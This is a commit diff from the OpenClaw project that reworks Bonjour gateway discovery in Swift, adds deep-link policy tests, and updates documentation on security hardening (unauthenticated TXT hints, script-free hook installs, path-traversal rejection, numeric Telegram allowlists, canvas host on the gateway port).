let stableID = GatewayEndpointID.stableID(result.endpoint)
let resolvedTXT = self.resolvedTXTByID[stableID] ?? [:]
let resolved = self.resolvedServiceByID[stableID]
let resolvedTXT = resolved?.txt ?? [:]
let txt = Self.txtDictionary(from: result).merging(
resolvedTXT,
uniquingKeysWith: { _, new in new })
@@ -208,8 +218,10 @@ public final class GatewayDiscoveryModel {
let parsedTXT = Self.parseGatewayTXT(txt)
if parsedTXT.lanHost == nil || parsedTXT.tailnetDns == nil {
self.ensureTXTResolution(
// Always attempt NetService resolution for the endpoint (host/port and TXT).
// TXT is unauthenticated; do not use it for routing.
if resolved == nil {
self.ensureServiceResolution(
stableID: stableID,
serviceName: name,
type: type,
@@ -224,6 +236,8 @@ public final class GatewayDiscoveryModel {
local: self.localIdentity)
return DiscoveredGateway(
displayName: prettyName,
serviceHost: resolved?.host,
servicePort: resolved?.port,
lanHost: parsedTXT.lanHost,
tailnetDns: parsedTXT.tailnetDns,
sshPort: parsedTXT.sshPort,
@@ -421,16 +435,16 @@ public final class GatewayDiscoveryModel {
return target
}
private func ensureTXTResolution(
private func ensureServiceResolution(
stableID: String,
serviceName: String,
type: String,
domain: String)
{
guard self.resolvedTXTByID[stableID] == nil else { return }
guard self.pendingTXTResolvers[stableID] == nil else { return }
guard self.resolvedServiceByID[stableID] == nil else { return }
guard self.pendingServiceResolvers[stableID] == nil else { return }
let resolver = GatewayTXTResolver(
let resolver = GatewayServiceResolver(
name: serviceName,
type: type,
domain: domain,
@@ -438,10 +452,10 @@ public final class GatewayDiscoveryModel {
{ [weak self] result in
Task { @MainActor in
guard let self else { return }
self.pendingTXTResolvers[stableID] = nil
self.pendingServiceResolvers[stableID] = nil
switch result {
case let .success(txt):
self.resolvedTXTByID[stableID] = txt
case let .success(resolved):
self.resolvedServiceByID[stableID] = resolved
self.updateGatewaysForAllDomains()
self.recomputeGateways()
case .failure:
@@ -450,7 +464,7 @@ public final class GatewayDiscoveryModel {
}
}
self.pendingTXTResolvers[stableID] = resolver
self.pendingServiceResolvers[stableID] = resolver
resolver.start()
}
@@ -607,9 +621,15 @@ public final class GatewayDiscoveryModel {
}
}
final class GatewayTXTResolver: NSObject, NetServiceDelegate {
struct ResolvedGatewayService: Equatable, Sendable {
var txt: [String: String]
var host: String?
var port: Int?
}
final class GatewayServiceResolver: NSObject, NetServiceDelegate {
private let service: NetService
private let completion: (Result<[String: String], Error>) -> Void
private let completion: (Result<ResolvedGatewayService, Error>) -> Void
private let logger: Logger
private var didFinish = false
@@ -618,7 +638,7 @@ final class GatewayTXTResolver: NSObject, NetServiceDelegate {
type: String,
domain: String,
logger: Logger,
completion: @escaping (Result<[String: String], Error>) -> Void)
completion: @escaping (Result<ResolvedGatewayService, Error>) -> Void)
{
self.service = NetService(domain: domain, type: type, name: name)
self.completion = completion
@@ -633,24 +653,27 @@ final class GatewayTXTResolver: NSObject, NetServiceDelegate {
}
func cancel() {
self.finish(result: .failure(GatewayTXTResolverError.cancelled))
self.finish(result: .failure(GatewayServiceResolverError.cancelled))
}
func netServiceDidResolveAddress(_ sender: NetService) {
let txt = Self.decodeTXT(sender.txtRecordData())
let host = Self.normalizeHost(sender.hostName)
let port = sender.port > 0 ? sender.port : nil
if !txt.isEmpty {
let payload = self.formatTXT(txt)
self.logger.debug(
"discovery: resolved TXT for \(sender.name, privacy: .public): \(payload, privacy: .public)")
}
self.finish(result: .success(txt))
let resolved = ResolvedGatewayService(txt: txt, host: host, port: port)
self.finish(result: .success(resolved))
}
func netService(_ sender: NetService, didNotResolve errorDict: [String: NSNumber]) {
self.finish(result: .failure(GatewayTXTResolverError.resolveFailed(errorDict)))
self.finish(result: .failure(GatewayServiceResolverError.resolveFailed(errorDict)))
}
private func finish(result: Result<[String: String], Error>) {
private func finish(result: Result<ResolvedGatewayService, Error>) {
guard !self.didFinish else { return }
self.didFinish = true
self.service.stop()
@@ -671,6 +694,12 @@ final class GatewayTXTResolver: NSObject, NetServiceDelegate {
return out
}
private static func normalizeHost(_ raw: String?) -> String? {
let trimmed = raw?.trimmingCharacters(in: .whitespacesAndNewlines) ?? ""
if trimmed.isEmpty { return nil }
return trimmed.hasSuffix(".") ? String(trimmed.dropLast()) : trimmed
}
private func formatTXT(_ txt: [String: String]) -> String {
txt.sorted(by: { $0.key < $1.key })
.map { "\($0.key)=\($0.value)" }
@@ -678,7 +707,7 @@ final class GatewayTXTResolver: NSObject, NetServiceDelegate {
}
}
enum GatewayTXTResolverError: Error {
enum GatewayServiceResolverError: Error {
case cancelled
case resolveFailed([String: NSNumber])
}

View File

@@ -0,0 +1,77 @@
import OpenClawKit
import Testing
@testable import OpenClaw
@Suite struct DeepLinkAgentPolicyTests {
@Test func validateMessageForHandleRejectsTooLongWhenUnkeyed() {
let msg = String(repeating: "a", count: DeepLinkAgentPolicy.maxUnkeyedConfirmChars + 1)
let res = DeepLinkAgentPolicy.validateMessageForHandle(message: msg, allowUnattended: false)
switch res {
case let .failure(error):
#expect(
error == .messageTooLongForConfirmation(
max: DeepLinkAgentPolicy.maxUnkeyedConfirmChars,
actual: DeepLinkAgentPolicy.maxUnkeyedConfirmChars + 1))
case .success:
Issue.record("expected failure, got success")
}
}
@Test func validateMessageForHandleAllowsTooLongWhenKeyed() {
let msg = String(repeating: "a", count: DeepLinkAgentPolicy.maxUnkeyedConfirmChars + 1)
let res = DeepLinkAgentPolicy.validateMessageForHandle(message: msg, allowUnattended: true)
switch res {
case .success:
break
case let .failure(error):
Issue.record("expected success, got failure: \(error)")
}
}
@Test func effectiveDeliveryIgnoresDeliveryFieldsWhenUnkeyed() {
let link = AgentDeepLink(
message: "Hello",
sessionKey: "s",
thinking: "low",
deliver: true,
to: "+15551234567",
channel: "whatsapp",
timeoutSeconds: 10,
key: nil)
let res = DeepLinkAgentPolicy.effectiveDelivery(link: link, allowUnattended: false)
#expect(res.deliver == false)
#expect(res.to == nil)
#expect(res.channel == .last)
}
@Test func effectiveDeliveryHonorsDeliverForDeliverableChannelsWhenKeyed() {
let link = AgentDeepLink(
message: "Hello",
sessionKey: "s",
thinking: "low",
deliver: true,
to: " +15551234567 ",
channel: "whatsapp",
timeoutSeconds: 10,
key: "secret")
let res = DeepLinkAgentPolicy.effectiveDelivery(link: link, allowUnattended: true)
#expect(res.deliver == true)
#expect(res.to == "+15551234567")
#expect(res.channel == .whatsapp)
}
@Test func effectiveDeliveryStillBlocksWebChatDeliveryWhenKeyed() {
let link = AgentDeepLink(
message: "Hello",
sessionKey: "s",
thinking: "low",
deliver: true,
to: "+15551234567",
channel: "webchat",
timeoutSeconds: 10,
key: "secret")
let res = DeepLinkAgentPolicy.effectiveDelivery(link: link, allowUnattended: true)
#expect(res.deliver == false)
#expect(res.channel == .webchat)
}
}

View File

@@ -12,7 +12,8 @@ import Testing
uptimems: 123,
configpath: nil,
statedir: nil,
sessiondefaults: nil)
sessiondefaults: nil,
authmode: nil)
let hello = HelloOk(
type: "hello",

View File

@@ -88,7 +88,7 @@ Notes:
To disable (dangerous), set `hooks.gmail.allowUnsafeExternalContent: true`.
To customize payload handling further, add `hooks.mappings` or a JS/TS transform module
under `hooks.transformsDir` (see [Webhooks](/automation/webhook)).
under `~/.openclaw/hooks/transforms` (see [Webhooks](/automation/webhook)).
## Wizard (recommended)

View File

@@ -103,6 +103,8 @@ Hook packs are standard npm packages that export one or more hooks via `openclaw
openclaw hooks install <path-or-spec>
```
Npm specs are registry-only (package name + optional version/tag). Git/URL/file specs are rejected.
Example `package.json`:
```json
@@ -118,6 +120,10 @@ Example `package.json`:
Each entry points to a hook directory containing `HOOK.md` and `handler.ts` (or `index.ts`).
Hook packs can ship dependencies; they will be installed under `~/.openclaw/hooks/<id>`.
Security note: `openclaw hooks install` installs dependencies with `npm install --ignore-scripts`
(no lifecycle scripts). Keep hook pack dependency trees "pure JS/TS" and avoid packages that rely
on `postinstall` builds.
## Hook Structure
### HOOK.md Format
@@ -394,6 +400,8 @@ The old config format still works for backwards compatibility:
}
```
Note: `module` must be a workspace-relative path. Absolute paths and traversal outside the workspace are rejected.
**Migration**: Use the new discovery-based system for new hooks. Legacy handlers are loaded after directory-based hooks.
## CLI Commands

View File

@@ -140,6 +140,8 @@ Mapping options (summary):
- `hooks.presets: ["gmail"]` enables the built-in Gmail mapping.
- `hooks.mappings` lets you define `match`, `action`, and templates in config.
- `hooks.transformsDir` + `transform.module` loads a JS/TS module for custom logic.
- `hooks.transformsDir` (if set) must stay within the transforms root under your OpenClaw config directory (typically `~/.openclaw/hooks/transforms`).
- `transform.module` must resolve within the effective transforms directory (traversal/escape paths are rejected).
- Use `match.source` to keep a generic ingest endpoint (payload-driven routing).
- TS transforms require a TS loader (e.g. `bun` or `tsx`) or precompiled `.js` at runtime.
- Set `deliver: true` + `channel`/`to` on mappings to route replies to a chat surface

View File

@@ -153,7 +153,8 @@ Configure your tunnel's ingress rules to only route the webhook path:
Use these identifiers for delivery and allowlists:
- Direct messages: `users/<userId>` or `users/<email>` (email addresses are accepted).
- Direct messages: `users/<userId>` (recommended) or raw email `name@example.com` (mutable principal).
- Deprecated: `users/<email>` is treated as a user id, not an email allowlist.
- Spaces: `spaces/<spaceId>`.
## Config highlights

View File

@@ -138,7 +138,7 @@ Control how group/room messages are handled per channel:
},
telegram: {
groupPolicy: "disabled",
groupAllowFrom: ["123456789", "@username"],
groupAllowFrom: ["123456789"], // numeric Telegram user id (wizard can resolve @username)
},
signal: {
groupPolicy: "disabled",

View File

@@ -127,6 +127,7 @@ openclaw gateway
- Config tokens override env fallback.
- `SLACK_BOT_TOKEN` / `SLACK_APP_TOKEN` env fallback applies only to the default account.
- `userToken` (`xoxp-...`) is config-only (no env fallback) and defaults to read-only behavior (`userTokenReadOnly: true`).
- Optional: add `chat:write.customize` if you want outgoing messages to use the active agent identity (custom `username` and icon). `icon_emoji` uses `:emoji_name:` syntax.
<Tip>
For actions/directory reads, user token can be preferred when configured. For writes, bot token remains preferred; user-token writes are only allowed when `userTokenReadOnly: false` and bot token is unavailable.

View File

@@ -112,7 +112,9 @@ Token resolution order is account-aware. In practice, config values win over env
- `open` (requires `allowFrom` to include `"*"`)
- `disabled`
`channels.telegram.allowFrom` accepts numeric IDs and usernames. `telegram:` / `tg:` prefixes are accepted and normalized.
`channels.telegram.allowFrom` accepts numeric Telegram user IDs. `telegram:` / `tg:` prefixes are accepted and normalized.
The onboarding wizard accepts `@username` input and resolves it to numeric IDs.
If you upgraded and your config contains `@username` allowlist entries, run `openclaw doctor --fix` to resolve them (best-effort; requires a Telegram bot token).
### Finding your Telegram user ID
@@ -145,6 +147,7 @@ curl "https://api.telegram.org/bot<bot_token>/getUpdates"
- `disabled`
`groupAllowFrom` is used for group sender filtering. If not set, Telegram falls back to `allowFrom`.
`groupAllowFrom` entries must be numeric Telegram user IDs.
Example: allow any member in one specific group:
@@ -651,7 +654,7 @@ openclaw message send --channel telegram --target @name --message "hi"
<Accordion title="Commands work partially or not at all">
- authorize your sender identity (pairing and/or `allowFrom`)
- authorize your sender identity (pairing and/or numeric `allowFrom`)
- command authorization still applies even when group policy is `open`
- `setMyCommands failed` usually indicates DNS/HTTPS reachability issues to `api.telegram.org`
@@ -681,9 +684,9 @@ Primary reference:
- `channels.telegram.botToken`: bot token (BotFather).
- `channels.telegram.tokenFile`: read token from file path.
- `channels.telegram.dmPolicy`: `pairing | allowlist | open | disabled` (default: pairing).
- `channels.telegram.allowFrom`: DM allowlist (ids/usernames). `open` requires `"*"`.
- `channels.telegram.allowFrom`: DM allowlist (numeric Telegram user IDs). `open` requires `"*"`. `openclaw doctor --fix` can resolve legacy `@username` entries to IDs.
- `channels.telegram.groupPolicy`: `open | allowlist | disabled` (default: allowlist).
- `channels.telegram.groupAllowFrom`: group sender allowlist (ids/usernames).
- `channels.telegram.groupAllowFrom`: group sender allowlist (numeric Telegram user IDs). `openclaw doctor --fix` can resolve legacy `@username` entries to IDs.
- `channels.telegram.groups`: per-group defaults + allowlist (use `"*"` for global defaults).
- `channels.telegram.groups.<id>.groupPolicy`: per-group override for groupPolicy (`open | allowlist | disabled`).
- `channels.telegram.groups.<id>.requireMention`: mention gating default.

View File

@@ -44,11 +44,12 @@ Full troubleshooting: [/channels/whatsapp#troubleshooting-quick](/channels/whats
### Telegram failure signatures
| Symptom | Fastest check | Fix |
| --------------------------------- | ----------------------------------------------- | --------------------------------------------------------- |
| `/start` but no usable reply flow | `openclaw pairing list telegram` | Approve pairing or change DM policy. |
| Bot online but group stays silent | Verify mention requirement and bot privacy mode | Disable privacy mode for group visibility or mention bot. |
| Send failures with network errors | Inspect logs for Telegram API call failures | Fix DNS/IPv6/proxy routing to `api.telegram.org`. |
| Symptom | Fastest check | Fix |
| --------------------------------- | ----------------------------------------------- | --------------------------------------------------------------------------- |
| `/start` but no usable reply flow | `openclaw pairing list telegram` | Approve pairing or change DM policy. |
| Bot online but group stays silent | Verify mention requirement and bot privacy mode | Disable privacy mode for group visibility or mention bot. |
| Send failures with network errors | Inspect logs for Telegram API call failures | Fix DNS/IPv6/proxy routing to `api.telegram.org`. |
| Upgraded and allowlist blocks you | `openclaw security audit` and config allowlists | Run `openclaw doctor --fix` or replace `@username` with numeric sender IDs. |
Full troubleshooting: [/channels/telegram#troubleshooting](/channels/telegram#troubleshooting)

View File

@@ -192,6 +192,9 @@ openclaw hooks install <path-or-spec>
Install a hook pack from a local folder/archive or npm.
Npm specs are **registry-only** (package name + optional version/tag). Git/URL/file
specs are rejected. Dependency installs run with `--ignore-scripts` for safety.
**What it does:**
- Copies the hook pack into `~/.openclaw/hooks/<id>`

View File

@@ -44,6 +44,9 @@ openclaw plugins install <path-or-spec>
Security note: treat plugin installs like running code. Prefer pinned versions.
Npm specs are **registry-only** (package name + optional version/tag). Git/URL/file
specs are rejected. Dependency installs run with `--ignore-scripts` for safety.
Supported archives: `.zip`, `.tgz`, `.tar.gz`, `.tar`.
Use `--link` to avoid copying a local directory (adds to `plugins.load.paths`):

View File

@@ -19,7 +19,10 @@ Last updated: 2026-01-22
- **Nodes** (macOS/iOS/Android/headless) also connect over **WebSocket**, but
declare `role: node` with explicit caps/commands.
- One Gateway per host; it is the only place that opens a WhatsApp session.
- A **canvas host** (default `18793`) serves agenteditable HTML and A2UI.
- The **canvas host** is served by the Gateway HTTP server under:
- `/__openclaw__/canvas/` (agent-editable HTML/CSS/JS)
- `/__openclaw__/a2ui/` (A2UI host)
It uses the same port as the Gateway (default `18789`).
## Components and flows

View File

@@ -8,7 +8,7 @@ title: "System Prompt"
# System Prompt
OpenClaw builds a custom system prompt for every agent run. The prompt is **OpenClaw-owned** and does not use the p-coding-agent default prompt.
OpenClaw builds a custom system prompt for every agent run. The prompt is **OpenClaw-owned** and does not use the pi-coding-agent default prompt.
The prompt is assembled by OpenClaw and injected into each agent run.

View File

@@ -319,6 +319,10 @@
"source": "/docker",
"destination": "/install/docker"
},
{
"source": "/podman",
"destination": "/install/podman"
},
{
"source": "/doctor",
"destination": "/gateway/doctor"
@@ -836,7 +840,13 @@
},
{
"group": "Other install methods",
"pages": ["install/docker", "install/nix", "install/ansible", "install/bun"]
"pages": [
"install/docker",
"install/podman",
"install/nix",
"install/ansible",
"install/bun"
]
},
{
"group": "Maintenance",
@@ -1290,7 +1300,7 @@
},
{
"group": "Contributing",
"pages": ["help/submitting-a-pr", "help/submitting-an-issue", "ci"]
"pages": ["ci"]
},
{
"group": "Docs meta",
@@ -1817,10 +1827,6 @@
"group": "开发者设置",
"pages": ["zh-CN/start/setup"]
},
{
"group": "贡献",
"pages": ["zh-CN/help/submitting-a-pr", "zh-CN/help/submitting-an-issue"]
},
{
"group": "文档元信息",
"pages": ["zh-CN/start/hubs", "zh-CN/start/docs-directory"]

View File

@@ -94,12 +94,19 @@ The Gateway advertises small nonsecret hints to make UI flows convenient:
- `gatewayPort=<port>` (Gateway WS + HTTP)
- `gatewayTls=1` (only when TLS is enabled)
- `gatewayTlsSha256=<sha256>` (only when TLS is enabled and fingerprint is available)
- `canvasPort=<port>` (only when the canvas host is enabled; default `18793`)
- `canvasPort=<port>` (only when the canvas host is enabled; currently the same as `gatewayPort`)
- `sshPort=<port>` (defaults to 22 when not overridden)
- `transport=gateway`
- `cliPath=<path>` (optional; absolute path to a runnable `openclaw` entrypoint)
- `tailnetDns=<magicdns>` (optional hint when Tailnet is available)
Security notes:
- Bonjour/mDNS TXT records are **unauthenticated**. Clients must not treat TXT as authoritative routing.
- Clients should route using the resolved service endpoint (SRV + A/AAAA). Treat `lanHost`, `tailnetDns`, `gatewayPort`, and `gatewayTlsSha256` as hints only.
- TLS pinning must never allow an advertised `gatewayTlsSha256` to override a previously stored pin.
- iOS/Android nodes should treat discovery-based direct connects as **TLS-only** and require explicit user confirmation before trusting a first-time fingerprint.
## Debugging on macOS
Useful builtin tools:

View File

@@ -35,7 +35,9 @@ Legacy `bridge.*` config keys are no longer part of the config schema.
- Legacy default listener port was `18790` (current builds do not start a TCP bridge).
When TLS is enabled, discovery TXT records include `bridgeTls=1` plus
`bridgeTlsSha256` so nodes can pin the certificate.
`bridgeTlsSha256` as a non-secret hint. Note that Bonjour/mDNS TXT records are
unauthenticated; clients must not treat the advertised fingerprint as an
authoritative pin without explicit user intent or other out-of-band verification.
## Handshake + pairing

View File

@@ -363,7 +363,7 @@ Save to `~/.openclaw/openclaw.json` and you can DM the bot from that number.
path: "/hooks",
token: "shared-secret",
presets: ["gmail"],
transformsDir: "~/.openclaw/hooks",
transformsDir: "~/.openclaw/hooks/transforms",
mappings: [
{
id: "gmail-hook",
@@ -380,7 +380,7 @@ Save to `~/.openclaw/openclaw.json` and you can DM the bot from that number.
thinking: "low",
timeoutSeconds: 300,
transform: {
module: "./transforms/gmail.js",
module: "gmail.js",
export: "transformGmail",
},
},

View File

@@ -933,6 +933,7 @@ Optional **Docker sandboxing** for the embedded agent. See [Sandboxing](/gateway
**Sandboxed browser** (`sandbox.browser.enabled`): Chromium + CDP in a container. noVNC URL injected into system prompt. Does not require `browser.enabled` in main config.
- `allowHostControl: false` (default) blocks sandboxed sessions from targeting the host browser.
- `sandbox.browser.binds` mounts additional host directories into the sandbox browser container only. When set (including `[]`), it replaces `docker.binds` for the browser container.
</Accordion>
@@ -1987,7 +1988,7 @@ See [Multiple Gateways](/gateway/multiple-gateways).
allowedSessionKeyPrefixes: ["hook:"],
allowedAgentIds: ["hooks", "main"],
presets: ["gmail"],
transformsDir: "~/.openclaw/hooks",
transformsDir: "~/.openclaw/hooks/transforms",
mappings: [
{
match: { path: "gmail" },
@@ -2021,6 +2022,7 @@ Auth: `Authorization: Bearer <token>` or `x-openclaw-token: <token>`.
- `match.source` matches a payload field for generic paths.
- Templates like `{{messages[0].subject}}` read from the payload.
- `transform` can point to a JS/TS module returning a hook action.
- `transform.module` must be a relative path and stays within `hooks.transformsDir` (absolute paths and traversal are rejected).
- `agentId` routes to a specific agent; unknown IDs fall back to default.
- `allowedAgentIds`: restricts explicit routing (`*` or omitted = allow all, `[]` = deny all).
- `defaultSessionKey`: optional fixed session key for hook agent runs without explicit `sessionKey`.
@@ -2065,14 +2067,18 @@ Auth: `Authorization: Bearer <token>` or `x-openclaw-token: <token>`.
{
canvasHost: {
root: "~/.openclaw/workspace/canvas",
port: 18793,
liveReload: true,
// enabled: false, // or OPENCLAW_SKIP_CANVAS_HOST=1
},
}
```
- Serves HTML/CSS/JS over HTTP for iOS/Android nodes.
- Serves agent-editable HTML/CSS/JS and A2UI over HTTP under the Gateway port:
- `http://<gateway-host>:<gateway.port>/__openclaw__/canvas/`
- `http://<gateway-host>:<gateway.port>/__openclaw__/a2ui/`
- Local-only: keep `gateway.bind: "loopback"` (default).
- Non-loopback binds: canvas routes require Gateway auth (token/password/trusted-proxy), same as other Gateway HTTP surfaces.
- Node WebViews typically don't send auth headers; after a node is paired and connected, the Gateway allows a private-IP fallback so the node can load canvas/A2UI without leaking secrets into URLs.
- Injects live-reload client into served HTML.
- Auto-creates starter `index.html` when empty.
- Also serves A2UI at `/__openclaw__/a2ui/`.

View File

@@ -64,10 +64,17 @@ Troubleshooting and beacon details: [Bonjour](/gateway/bonjour).
- `gatewayPort=18789` (Gateway WS + HTTP)
- `gatewayTls=1` (only when TLS is enabled)
- `gatewayTlsSha256=<sha256>` (only when TLS is enabled and fingerprint is available)
- `canvasPort=18793` (default canvas host port; serves `/__openclaw__/canvas/`)
- `canvasPort=<port>` (canvas host port; currently the same as `gatewayPort` when the canvas host is enabled)
- `cliPath=<path>` (optional; absolute path to a runnable `openclaw` entrypoint or binary)
- `tailnetDns=<magicdns>` (optional hint; auto-detected when Tailscale is available)
Security notes:
- Bonjour/mDNS TXT records are **unauthenticated**. Clients must treat TXT values as UX hints only.
- Routing (host/port) should prefer the **resolved service endpoint** (SRV + A/AAAA) over TXT-provided `lanHost`, `tailnetDns`, or `gatewayPort`.
- TLS pinning must never allow an advertised `gatewayTlsSha256` to override a previously stored pin.
- iOS/Android nodes should treat discovery-based direct connects as **TLS-only** and require an explicit “trust this fingerprint” confirmation before storing a first-time pin (out-of-band verification).
Disable/override:
- `OPENCLAW_DISABLE_BONJOUR=1` disables advertising.

View File

@@ -79,7 +79,7 @@ openclaw --profile rescue gateway install
Base port = `gateway.port` (or `OPENCLAW_GATEWAY_PORT` / `--port`).
- browser control service port = base + 2 (loopback only)
- `canvasHost.port = base + 4`
- canvas host is served on the Gateway HTTP server (same port as `gateway.port`)
- Browser profile CDP ports auto-allocate from `browser.controlPort + 9 .. + 108`
If you override any of these in config or env, you must keep them unique per instance.

View File

@@ -13,5 +13,8 @@ process that owns channel connections and the WebSocket control plane.
- One Gateway per host is recommended. It is the only process allowed to own the WhatsApp Web session. For rescue bots or strict isolation, run multiple gateways with isolated profiles and ports. See [Multiple gateways](/gateway/multiple-gateways).
- Loopback first: the Gateway WS defaults to `ws://127.0.0.1:18789`. The wizard generates a gateway token by default, even for loopback. For tailnet access, run `openclaw gateway --bind tailnet --token ...` because tokens are required for non-loopback binds.
- Nodes connect to the Gateway WS over LAN, tailnet, or SSH as needed. The legacy TCP bridge is deprecated.
- Canvas host is an HTTP file server on `canvasHost.port` (default `18793`) serving `/__openclaw__/canvas/` for node WebViews. See [Gateway configuration](/gateway/configuration) (`canvasHost`).
- Canvas host is served by the Gateway HTTP server on the **same port** as the Gateway (default `18789`):
- `/__openclaw__/canvas/`
- `/__openclaw__/a2ui/`
When `gateway.auth` is configured and the Gateway binds beyond loopback, these routes are protected by Gateway auth (loopback requests are exempt). See [Gateway configuration](/gateway/configuration) (`canvasHost`, `gateway`).
- Remote use is typically SSH tunnel or tailnet VPN. See [Remote access](/gateway/remote) and [Discovery](/gateway/discovery).

View File

@@ -71,6 +71,11 @@ Format: `host:container:mode` (e.g., `"/home/user/source:/source:rw"`).
Global and per-agent binds are **merged** (not replaced). Under `scope: "shared"`, per-agent binds are ignored.
`agents.defaults.sandbox.browser.binds` mounts additional host directories into the **sandbox browser** container only.
- When set (including `[]`), it replaces `agents.defaults.sandbox.docker.binds` for the browser container.
- When omitted, the browser container falls back to `agents.defaults.sandbox.docker.binds` (backwards compatible).
Example (read-only source + docker socket):
```json5

View File

@@ -347,6 +347,16 @@ The Gateway multiplexes **WebSocket + HTTP** on a single port:
- Default: `18789`
- Config/flags/env: `gateway.port`, `--port`, `OPENCLAW_GATEWAY_PORT`
This HTTP surface includes the Control UI and the canvas host:
- Control UI (SPA assets) (default base path `/`)
- Canvas host: `/__openclaw__/canvas/` and `/__openclaw__/a2ui/` (arbitrary HTML/JS; treat as untrusted content)
If you load canvas content in a normal browser, treat it like any other untrusted web page:
- Don't expose the canvas host to untrusted networks/users.
- Don't make canvas content share the same origin as privileged web surfaces unless you fully understand the implications.
Bind mode controls where the Gateway listens:
- `gateway.bind: "loopback"` (default): only local clients can connect.

View File

@@ -794,7 +794,9 @@ without WhatsApp/Telegram.
### Telegram what goes in allowFrom
`channels.telegram.allowFrom` is **the human sender's Telegram user ID** (numeric, recommended) or `@username`. It is not the bot username.
`channels.telegram.allowFrom` is **the human sender's Telegram user ID** (numeric). It is not the bot username.
The onboarding wizard accepts `@username` input and resolves it to a numeric ID, but OpenClaw authorization uses numeric IDs only.
Safer (no third-party bot):

View File

@@ -1,398 +0,0 @@
---
summary: "How to submit a high signal PR"
title: "Submitting a PR"
---
Good PRs are easy to review: reviewers should quickly know the intent, verify behavior, and land changes safely. This guide covers concise, high-signal submissions for human and LLM review.
## What makes a good PR
- [ ] Explain the problem, why it matters, and the change.
- [ ] Keep changes focused. Avoid broad refactors.
- [ ] Summarize user-visible/config/default changes.
- [ ] List test coverage, skips, and reasons.
- [ ] Add evidence: logs, screenshots, or recordings (UI/UX).
- [ ] Code word: put “lobster-biscuit” in the PR description if you read this guide.
- [ ] Run/fix relevant `pnpm` commands before creating PR.
- [ ] Search codebase and GitHub for related functionality/issues/fixes.
- [ ] Base claims on evidence or observation.
- [ ] Good title: verb + scope + outcome (e.g., `Docs: add PR and issue templates`).
Be concise; concise review > grammar. Omit any non-applicable sections.
### Baseline validation commands (run/fix failures for your change)
- `pnpm lint`
- `pnpm check`
- `pnpm build`
- `pnpm test`
- Protocol changes: `pnpm protocol:check`
## Progressive disclosure
- Top: summary/intent
- Next: changes/risks
- Next: test/verification
- Last: implementation/evidence
## Common PR types: specifics
- [ ] Fix: Add repro, root cause, verification.
- [ ] Feature: Add use cases, behavior/demos/screenshots (UI).
- [ ] Refactor: State "no behavior change", list what moved/simplified.
- [ ] Chore: State why (e.g., build time, CI, dependencies).
- [ ] Docs: Before/after context, link updated page, run `pnpm format`.
- [ ] Test: What gap is covered; how it prevents regressions.
- [ ] Perf: Add before/after metrics, and how measured.
- [ ] UX/UI: Screenshots/video, note accessibility impact.
- [ ] Infra/Build: Environments/validation.
- [ ] Security: Summarize risk, repro, verification, no sensitive data. Grounded claims only.
## Checklist
- [ ] Clear problem/intent
- [ ] Focused scope
- [ ] List behavior changes
- [ ] List and result of tests
- [ ] Manual test steps (when applicable)
- [ ] No secrets/private data
- [ ] Evidence-based
## General PR Template
```md
#### Summary
#### Behavior Changes
#### Codebase and GitHub Search
#### Tests
#### Manual Testing (omit if N/A)
### Prerequisites
-
### Steps
1.
2.
#### Evidence (omit if N/A)
**Sign-Off**
- Models used:
- Submitter effort (self-reported):
- Agent notes (optional, cite evidence):
```
## PR Type templates (replace with your type)
### Fix
```md
#### Summary
#### Repro Steps
#### Root Cause
#### Behavior Changes
#### Tests
#### Manual Testing (omit if N/A)
### Prerequisites
-
### Steps
1.
2.
#### Evidence (omit if N/A)
**Sign-Off**
- Models used:
- Submitter effort:
- Agent notes:
```
### Feature
```md
#### Summary
#### Use Cases
#### Behavior Changes
#### Existing Functionality Check
- [ ] I searched the codebase for existing functionality.
Searches performed (1-3 bullets):
-
-
#### Tests
#### Manual Testing (omit if N/A)
### Prerequisites
-
### Steps
1.
2.
#### Evidence (omit if N/A)
**Sign-Off**
- Models used:
- Submitter effort:
- Agent notes:
```
### Refactor
```md
#### Summary
#### Scope
#### No Behavior Change Statement
#### Tests
#### Manual Testing (omit if N/A)
### Prerequisites
-
### Steps
1.
2.
#### Evidence (omit if N/A)
**Sign-Off**
- Models used:
- Submitter effort:
- Agent notes:
```
### Chore/Maintenance
```md
#### Summary
#### Why This Matters
#### Tests
#### Manual Testing (omit if N/A)
### Prerequisites
-
### Steps
1.
2.
#### Evidence (omit if N/A)
**Sign-Off**
- Models used:
- Submitter effort:
- Agent notes:
```
### Docs
```md
#### Summary
#### Pages Updated
#### Before/After
#### Formatting
pnpm format
#### Evidence (omit if N/A)
**Sign-Off**
- Models used:
- Submitter effort:
- Agent notes:
```
### Test
```md
#### Summary
#### Gap Covered
#### Tests
#### Manual Testing (omit if N/A)
### Prerequisites
-
### Steps
1.
2.
#### Evidence (omit if N/A)
**Sign-Off**
- Models used:
- Submitter effort:
- Agent notes:
```
### Perf
```md
#### Summary
#### Baseline
#### After
#### Measurement Method
#### Tests
#### Manual Testing (omit if N/A)
### Prerequisites
-
### Steps
1.
2.
#### Evidence (omit if N/A)
**Sign-Off**
- Models used:
- Submitter effort:
- Agent notes:
```
### UX/UI
```md
#### Summary
#### Screenshots or Video
#### Accessibility Impact
#### Tests
#### Manual Testing
### Prerequisites
-
### Steps
1.
2. **Sign-Off**
- Models used:
- Submitter effort:
- Agent notes:
```
### Infra/Build
```md
#### Summary
#### Environments Affected
#### Validation Steps
#### Manual Testing (omit if N/A)
### Prerequisites
-
### Steps
1.
2.
#### Evidence (omit if N/A)
**Sign-Off**
- Models used:
- Submitter effort:
- Agent notes:
```
### Security
```md
#### Summary
#### Risk Summary
#### Repro Steps
#### Mitigation or Fix
#### Verification
#### Tests
#### Manual Testing (omit if N/A)
### Prerequisites
-
### Steps
1.
2.
#### Evidence (omit if N/A)
**Sign-Off**
- Models used:
- Submitter effort:
- Agent notes:
```

View File

@@ -1,152 +0,0 @@
---
summary: "Filing high-signal issues and bug reports"
title: "Submitting an Issue"
---
## Submitting an Issue
Clear, concise issues speed up diagnosis and fixes. Include the following for bugs, regressions, or feature gaps:
### What to include
- [ ] Title: area & symptom
- [ ] Minimal repro steps
- [ ] Expected vs actual
- [ ] Impact & severity
- [ ] Environment: OS, runtime, versions, config
- [ ] Evidence: redacted logs, screenshots (non-PII)
- [ ] Scope: new, regression, or longstanding
- [ ] Code word: lobster-biscuit in your issue
- [ ] Searched codebase & GitHub for existing issue
- [ ] Confirmed not recently fixed/addressed (esp. security)
- [ ] Claims backed by evidence or repro
Be brief. Terseness > perfect grammar.
Validation (run/fix before PR):
- `pnpm lint`
- `pnpm check`
- `pnpm build`
- `pnpm test`
- If protocol code: `pnpm protocol:check`
### Templates
#### Bug report
```md
